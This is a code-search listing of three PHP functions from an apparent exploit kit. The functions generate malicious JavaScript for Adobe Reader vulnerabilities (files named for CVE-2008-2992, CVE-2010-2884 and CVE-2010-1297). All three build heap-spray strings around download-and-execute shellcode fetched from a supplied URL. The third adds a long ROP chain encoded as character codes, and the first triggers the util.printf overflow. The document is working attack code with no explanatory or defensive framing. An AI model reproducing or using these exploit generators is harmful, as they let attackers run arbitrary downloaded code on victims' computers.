コード例 #1
0
ファイル: Adobe-2008-2992.php プロジェクト: sucof/footlocker
function generate_js($url)
{
    $js = '';
    $js = $js . 'var k = \'60000\';';
    $js = $js . 'var k1 = 0x40000;';
    $js = $js . 'var k2 = 1450;';
    $js = $js . 'var code = \'' . shellcode_dl_exec_js($url) . '\';';
    $js = $js . 'var n = \'\\u4b4f\\u4027\';';
    $js = $js . 'var a = \'\';';
    $js = $js . 'for (b = 128; b >= 0; --b) a += n;';
    $js = $js . 'c = a + code;';
    $js = $js . 'd = n;';
    $js = $js . 'e = 20;';
    $js = $js . 'f = e + c.length;';
    $js = $js . 'while (d.length < f) d += d;';
    $js = $js . 'g = d.substring(0, f);';
    $js = $js . 'h = d.substring(0, d.length - f);';
    $js = $js . 'while(h.length + f < k1) h = h + h + g;';
    $js = $js . 'i = new Array();';
    $js = $js . 'for (j = 0; j < k2; j++) i[j] = h + c;';
    $js = $js . 'var s = 10;';
    $js = $js . 's = s - 10;';
    $js = $js . 'var st = \'.f%\';';
    $js = $js . 'var p = st.substring(2,3);';
    $js = $js . 'var dot = st.substring(0,1);';
    $js = $js . 'var lF = st.substring(1,2);';
    $js = $js . 'var pkdk1f = p + k + dot + k + lF;';
    $js = $js . 'util.printf(pkdk1f, s);';
    return $js;
}
コード例 #2
0
ファイル: Adobe-2010-2884.php プロジェクト: sucof/footlocker
function generate_js($url)
{
    $js = $js . 'var chars = String.fromCharCode(37008) + String.fromCharCode(37008);';
    $js = $js . 'var code = chars + \'' . shellcode_dl_exec_js($url) . '\';';
    $js = $js . 'var c = chars;';
    $js = $js . 'while (c.length + 28 < 65536){';
    $js = $js . '	c+=c;';
    $js = $js . '}';
    $js = $js . 'var v = c.substring(0, (0x0c0c-0x24)/2);';
    $js = $js . 'v += code;';
    $js = $js . 'v += c;';
    $js = $js . 'var d = v.substring(0, 65536/2);';
    $js = $js . 'while(1){';
    $js = $js . '	d += d;';
    $js = $js . '	if(d.length >= 0x80000) break;';
    $js = $js . '}';
    $js = $js . 'var t = d.substring(0, 0x80000 - (0x1020-0x08) / 2);';
    $js = $js . 'var f = new Array();';
    $js = $js . 'for (var i = 0; i < 0x1f0; i++){';
    $js = $js . '	f[i]=t+\'s\';';
    $js = $js . '}';
    return $js;
}
コード例 #3
0
ファイル: Adobe-2010-1297.php プロジェクト: sucof/footlocker
function generate_js($url)
{
    $js = '';
    $js = $js . 'var c = String.fromCharCode((3084), (3084));';
    $js = $js . 'blah = 128 * 8 * 8 * 8;';
    $js = $js . 'blah2 = 7 * 4;';
    $js = $js . 'while ((c.length + blah2) < blah) c+=c;';
    $js = $js . 'var chars = \'\';';
    $js = $js . 'chars = chars + String.fromCharCode(3084);';
    $js = $js . 'chars = chars + String.fromCharCode(3084);';
    $js = $js . 'chars = chars + String.fromCharCode(16447);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(52428);';
    $js = $js . 'chars = chars + String.fromCharCode(52428);';
    $js = $js . 'chars = chars + String.fromCharCode(7866);';
    $js = $js . 'chars = chars + String.fromCharCode(19073);';
    $js = $js . 'chars = chars + String.fromCharCode(16677);';
    $js = $js . 'chars = chars + String.fromCharCode(19076);';
    $js = $js . 'chars = chars + String.fromCharCode(52428);';
    $js = $js . 'chars = chars + String.fromCharCode(52428);';
    $js = $js . 'chars = chars + String.fromCharCode(4196);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(4196);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(4196);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(4196);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(8080);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(7866);';
    $js = $js . 'chars = chars + String.fromCharCode(19073);';
    $js = $js . 'chars = chars + String.fromCharCode(29096);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(4196);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(3084);';
    $js = $js . 'chars = chars + String.fromCharCode(3084);';
    $js = $js . 'chars = chars + String.fromCharCode(4196);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(4196);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(4196);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(4196);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(4196);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(4196);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(4196);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(4196);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(8080);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(36924);';
    $js = $js . 'chars = chars + String.fromCharCode(19076);';
    $js = $js . 'chars = chars + String.fromCharCode(46738);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(4196);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(8904);';
    $js = $js . 'chars = chars + String.fromCharCode(19077);';
    $js = $js . 'chars = chars + String.fromCharCode(0);';
    $js = $js . 'chars = chars + String.fromCharCode(4096);';
    $js = $js . 'chars = chars + String.fromCharCode(0);';
    $js = $js . 'chars = chars + String.fromCharCode(0);';
    $js = $js . 'chars = chars + String.fromCharCode(0);';
    $js = $js . 'chars = chars + String.fromCharCode(0);';
    $js = $js . 'chars = chars + String.fromCharCode(2);';
    $js = $js . 'chars = chars + String.fromCharCode(0);';
    $js = $js . 'chars = chars + String.fromCharCode(258);';
    $js = $js . 'chars = chars + String.fromCharCode(0);';
    $js = $js . 'chars = chars + String.fromCharCode(0);';
    $js = $js . 'chars = chars + String.fromCharCode(0);';
    $js = $js . 'chars = chars + String.fromCharCode(25509);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(4196);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(11698);';
    $js = $js . 'chars = chars + String.fromCharCode(19076);';
    $js = $js . 'chars = chars + String.fromCharCode(10929);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(8);';
    $js = $js . 'chars = chars + String.fromCharCode(0);';
    $js = $js . 'chars = chars + String.fromCharCode(43174);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(8080);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(36920);';
    $js = $js . 'chars = chars + String.fromCharCode(19076);';
    $js = $js . 'chars = chars + String.fromCharCode(46738);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(4196);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(65535);';
    $js = $js . 'chars = chars + String.fromCharCode(65535);';
    $js = $js . 'chars = chars + String.fromCharCode(0);';
    $js = $js . 'chars = chars + String.fromCharCode(0);';
    $js = $js . 'chars = chars + String.fromCharCode(64);';
    $js = $js . 'chars = chars + String.fromCharCode(0);';
    $js = $js . 'chars = chars + String.fromCharCode(0);';
    $js = $js . 'chars = chars + String.fromCharCode(0);';
    $js = $js . 'chars = chars + String.fromCharCode(0);';
    $js = $js . 'chars = chars + String.fromCharCode(1);';
    $js = $js . 'chars = chars + String.fromCharCode(0);';
    $js = $js . 'chars = chars + String.fromCharCode(0);';
    $js = $js . 'chars = chars + String.fromCharCode(25509);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(4196);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(11698);';
    $js = $js . 'chars = chars + String.fromCharCode(19076);';
    $js = $js . 'chars = chars + String.fromCharCode(10929);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(8);';
    $js = $js . 'chars = chars + String.fromCharCode(0);';
    $js = $js . 'chars = chars + String.fromCharCode(43174);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(8080);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(36912);';
    $js = $js . 'chars = chars + String.fromCharCode(19076);';
    $js = $js . 'chars = chars + String.fromCharCode(46738);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(4196);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(65535);';
    $js = $js . 'chars = chars + String.fromCharCode(65535);';
    $js = $js . 'chars = chars + String.fromCharCode(34);';
    $js = $js . 'chars = chars + String.fromCharCode(0);';
    $js = $js . 'chars = chars + String.fromCharCode(0);';
    $js = $js . 'chars = chars + String.fromCharCode(0);';
    $js = $js . 'chars = chars + String.fromCharCode(0);';
    $js = $js . 'chars = chars + String.fromCharCode(0);';
    $js = $js . 'chars = chars + String.fromCharCode(0);';
    $js = $js . 'chars = chars + String.fromCharCode(1);';
    $js = $js . 'chars = chars + String.fromCharCode(25509);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(4);';
    $js = $js . 'chars = chars + String.fromCharCode(19082);';
    $js = $js . 'chars = chars + String.fromCharCode(8598);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(34084);';
    $js = $js . 'chars = chars + String.fromCharCode(19076);';
    $js = $js . 'chars = chars + String.fromCharCode(36954);';
    $js = $js . 'chars = chars + String.fromCharCode(36948);';
    $js = $js . 'chars = chars + String.fromCharCode(1979);';
    $js = $js . 'chars = chars + String.fromCharCode(19074);';
    $js = $js . 'chars = chars + String.fromCharCode(46784);';
    $js = $js . 'chars = chars + String.fromCharCode(19073);';
    $js = $js . 'chars = chars + String.fromCharCode(34084);';
    $js = $js . 'chars = chars + String.fromCharCode(19076);';
    $js = $js . 'chars = chars + String.fromCharCode(60250);';
    $js = $js . 'chars = chars + String.fromCharCode(22549);';
    $js = $js . 'chars = chars + String.fromCharCode(1979);';
    $js = $js . 'chars = chars + String.fromCharCode(19074);';
    $js = $js . 'chars = chars + String.fromCharCode(46784);';
    $js = $js . 'chars = chars + String.fromCharCode(19073);';
    $js = $js . 'chars = chars + String.fromCharCode(34084);';
    $js = $js . 'chars = chars + String.fromCharCode(19076);';
    $js = $js . 'chars = chars + String.fromCharCode(6795);';
    $js = $js . 'chars = chars + String.fromCharCode(6281);';
    $js = $js . 'chars = chars + String.fromCharCode(1979);';
    $js = $js . 'chars = chars + String.fromCharCode(19074);';
    $js = $js . 'chars = chars + String.fromCharCode(46784);';
    $js = $js . 'chars = chars + String.fromCharCode(19073);';
    $js = $js . 'chars = chars + String.fromCharCode(34084);';
    $js = $js . 'chars = chars + String.fromCharCode(19076);';
    $js = $js . 'chars = chars + String.fromCharCode(49283);';
    $js = $js . 'chars = chars + String.fromCharCode(33540);';
    $js = $js . 'chars = chars + String.fromCharCode(1979);';
    $js = $js . 'chars = chars + String.fromCharCode(19074);';
    $js = $js . 'chars = chars + String.fromCharCode(46784);';
    $js = $js . 'chars = chars + String.fromCharCode(19073);';
    $js = $js . 'chars = chars + String.fromCharCode(34084);';
    $js = $js . 'chars = chars + String.fromCharCode(19076);';
    $js = $js . 'chars = chars + String.fromCharCode(1218);';
    $js = $js . 'chars = chars + String.fromCharCode(64385);';
    $js = $js . 'chars = chars + String.fromCharCode(1979);';
    $js = $js . 'chars = chars + String.fromCharCode(19074);';
    $js = $js . 'chars = chars + String.fromCharCode(46784);';
    $js = $js . 'chars = chars + String.fromCharCode(19073);';
    $js = $js . 'chars = chars + String.fromCharCode(34084);';
    $js = $js . 'chars = chars + String.fromCharCode(19076);';
    $js = $js . 'chars = chars + String.fromCharCode(3084);';
    $js = $js . 'chars = chars + String.fromCharCode(3084);';
    $js = $js . 'chars = chars + String.fromCharCode(1979);';
    $js = $js . 'chars = chars + String.fromCharCode(19074);';
    $js = $js . 'chars = chars + String.fromCharCode(46784);';
    $js = $js . 'chars = chars + String.fromCharCode(19073);';
    $js = $js . 'chars = chars + String.fromCharCode(34084);';
    $js = $js . 'chars = chars + String.fromCharCode(19076);';
    $js = $js . 'chars = chars + String.fromCharCode(61045);';
    $js = $js . 'chars = chars + String.fromCharCode(1515);';
    $js = $js . 'chars = chars + String.fromCharCode(1979);';
    $js = $js . 'chars = chars + String.fromCharCode(19074);';
    $js = $js . 'chars = chars + String.fromCharCode(46784);';
    $js = $js . 'chars = chars + String.fromCharCode(19073);';
    $js = $js . 'chars = chars + String.fromCharCode(34084);';
    $js = $js . 'chars = chars + String.fromCharCode(19076);';
    $js = $js . 'chars = chars + String.fromCharCode(59112);';
    $js = $js . 'chars = chars + String.fromCharCode(65535);';
    $js = $js . 'chars = chars + String.fromCharCode(1979);';
    $js = $js . 'chars = chars + String.fromCharCode(19074);';
    $js = $js . 'chars = chars + String.fromCharCode(46784);';
    $js = $js . 'chars = chars + String.fromCharCode(19073);';
    $js = $js . 'chars = chars + String.fromCharCode(34084);';
    $js = $js . 'chars = chars + String.fromCharCode(19076);';
    $js = $js . 'chars = chars + String.fromCharCode(37119);';
    $js = $js . 'chars = chars + String.fromCharCode(37008);';
    $js = $js . 'chars = chars + String.fromCharCode(1979);';
    $js = $js . 'chars = chars + String.fromCharCode(19074);';
    $js = $js . 'chars = chars + String.fromCharCode(46784);';
    $js = $js . 'chars = chars + String.fromCharCode(19073);';
    $js = $js . 'chars = chars + String.fromCharCode(34084);';
    $js = $js . 'chars = chars + String.fromCharCode(19076);';
    $js = $js . 'chars = chars + String.fromCharCode(37008);';
    $js = $js . 'chars = chars + String.fromCharCode(37008);';
    $js = $js . 'chars = chars + String.fromCharCode(1979);';
    $js = $js . 'chars = chars + String.fromCharCode(19074);';
    $js = $js . 'chars = chars + String.fromCharCode(46784);';
    $js = $js . 'chars = chars + String.fromCharCode(19073);';
    $js = $js . 'chars = chars + String.fromCharCode(34084);';
    $js = $js . 'chars = chars + String.fromCharCode(19076);';
    $js = $js . 'chars = chars + String.fromCharCode(37008);';
    $js = $js . 'chars = chars + String.fromCharCode(37008);';
    $js = $js . 'chars = chars + String.fromCharCode(1979);';
    $js = $js . 'chars = chars + String.fromCharCode(19074);';
    $js = $js . 'chars = chars + String.fromCharCode(46784);';
    $js = $js . 'chars = chars + String.fromCharCode(19073);';
    $js = $js . 'chars = chars + String.fromCharCode(34084);';
    $js = $js . 'chars = chars + String.fromCharCode(19076);';
    $js = $js . 'chars = chars + String.fromCharCode(65535);';
    $js = $js . 'chars = chars + String.fromCharCode(37119);';
    $js = $js . 'chars = chars + String.fromCharCode(1979);';
    $js = $js . 'chars = chars + String.fromCharCode(19074);';
    $js = $js . 'chars = chars + String.fromCharCode(8080);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(4);';
    $js = $js . 'chars = chars + String.fromCharCode(19082);';
    $js = $js . 'chars = chars + String.fromCharCode(42968);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'chars = chars + String.fromCharCode(25850);';
    $js = $js . 'chars = chars + String.fromCharCode(19072);';
    $js = $js . 'var code = chars + \'' . shellcode_dl_exec_js($url) . '\';';
    $js = $js . 'var v = c.substring(0, (0x0c0c-0x24)/2);';
    $js = $js . 'v += code;';
    $js = $js . 'v += c;';
    $js = $js . 'var d = v.substring(0, 65536/2);';
    $js = $js . 'while(1){';
    $js = $js . '	d += d;';
    $js = $js . '	if(d.length >= 0x80000) break;';
    $js = $js . '}';
    $js = $js . 'var t = d.substring(0, 0x80000 - (0x1020-0x08) / 2);';
    $js = $js . 'var f = new Array();';
    $js = $js . 'for (var i = 0; i < 0x1f0; i++){';
    $js = $js . '	f[i]=t+\'s\';';
    $js = $js . '}';
    return $js;
}